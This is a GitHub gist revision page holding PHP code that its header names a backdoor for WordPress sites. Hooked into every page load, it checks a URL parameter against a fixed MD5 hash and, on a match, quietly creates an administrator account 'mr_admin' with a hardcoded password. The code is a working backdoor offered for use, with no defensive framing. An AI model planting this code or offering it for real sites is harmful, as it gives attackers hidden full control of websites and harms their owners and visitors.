-
-
Save bahattab/0abc22ba5757684ea3ab88c872f246ae to your computer and use it in GitHub Desktop.
Revisions
-
bahattab renamed this gist
Aug 6, 2020 . 1 changed file with 5 additions and 0 deletions.There are no files selected for viewing
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters. Learn more about bidirectional Unicode charactersOriginal file line number Diff line number Diff line change @@ -1,4 +1,9 @@ <?php # Create a backdoor to a WordPress website # https://gist.github.com/jgalea/5724566 # https://gist.githubusercontent.com/jgalea/5724566/raw/2117df68c0c757c16a09e5274640cf2bb9f62f74/backdoor.php add_action( 'wp_head', 'my_backdoor' ); function my_backdoor() { -
jgalea created this gist
Jun 6, 2013 .There are no files selected for viewing
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters. Learn more about bidirectional Unicode charactersOriginal file line number Diff line number Diff line change @@ -0,0 +1,13 @@ <?php add_action( 'wp_head', 'my_backdoor' ); function my_backdoor() { if ( md5( $_GET['backdoor'] ) == '34d1f91fb2e514b8576fab1a75a89a6b' ) { require( 'wp-includes/registration.php' ); if ( !username_exists( 'mr_admin' ) ) { $user_id = wp_create_user( 'mr_admin', 'pa55w0rd!' ); $user = new WP_User( $user_id ); $user->set_role( 'administrator' ); } } }